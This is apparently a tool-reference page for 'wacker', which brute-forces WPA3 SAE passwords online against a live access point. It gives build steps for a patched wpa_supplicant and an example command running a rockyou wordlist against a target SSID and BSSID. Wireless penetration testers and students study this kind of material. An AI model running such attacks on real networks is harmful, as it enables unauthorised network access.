wacker

Overview

WPA3 SAE (Simultaneous Authentication of Equals) is resistant to offline dictionary attacks, no crackable handshake is exposed. wacker performs online brute force by attempting each password from a wordlist against the live AP, one connection attempt at a time. Slow by nature (network-rate limited), but the only option against pure WPA3 networks with no WPA2 fallback.

Install

wacker has no requirements.txt — it needs a patched wpa_supplicant 2.10 built from source:

git clone https://github.com/blunderbuss-wctf/wacker.git
cd wacker
sudo apt-get install -y pkg-config libnl-3-dev gcc libssl-dev libnl-genl-3-dev
cp defconfig wpa_supplicant-2.10/wpa_supplicant/.config
git apply wpa_supplicant.patch
cd wpa_supplicant-2.10/wpa_supplicant && make -j4

Usage

./wacker.py [options]

Common Flags

Flag	Description
`--wordlist <file>`	Password wordlist
`--ssid <SSID>`	Target network SSID
`--bssid <MAC>`	Target AP MAC address
`--interface <iface>`	Wireless interface (managed mode)
`--freq <MHz>`	AP operating frequency

Example

cd ~/tools/wacker
./wacker.py \
  --wordlist ~/rockyou-top100000.txt \
  --ssid <TARGET-SSID> \
  --bssid <BSSID> \
  --interface wlan1 \
  --freq 2462

Common frequencies: 2412 (ch1), 2437 (ch6), 2462 (ch11), 5180 (ch36), 5200 (ch40).

Setup

Tools

Connecting

Recon

Attacks

Rogue AP

Overview

Install

Usage

Common Flags

Example

​Overview

​Install

​Usage

​Common Flags

​Example

Overview

Install

Usage

Common Flags

Example